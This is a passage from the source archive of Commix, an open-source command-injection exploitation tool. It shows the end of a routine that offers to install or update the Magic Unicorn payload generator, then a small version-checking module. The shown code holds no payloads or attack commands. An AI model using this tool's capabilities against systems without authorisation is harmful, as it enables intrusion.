warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date."
print(settings.print_warning_msg(warn_msg))
else:
warn_msg = "TrustedSec's Magic Unicorn seems to be not installed."
print(settings.print_warning_msg(warn_msg))
while True:
if len(current_version) == 0:
action = "install"
else:
action = "update to"
message = "Do you want to " + action + " the latest version now? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
unicorn_updater(current_version)
elif do_update in settings.CHOICE_NO:
break
else:
common.invalid_option(do_update)
pass
except KeyboardInterrupt:
raise
except:
pass
# eof commix-3.8/src/utils/version.py 0000664 0000000 0000000 00000001756 14466364451 0016674 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
from src.utils import settings
"""
Show version number and exit.
"""
def show_version():
print(settings.VERSION)
raise SystemExit()
"""
Check python version number.
"""
def python_version():
PYTHON_VERSION = sys.version.split()[0]
if PYTHON_VERSION.split(".")[0] != "3":
warn_msg = "Deprecated Python version detected: "
warn_msg += PYTHON_VERSION + ". "
warn_msg += "You are advised to use Python version 3."
print("\n" + settings.print_bold_warning_msg(warn_msg))
#raise SystemExit()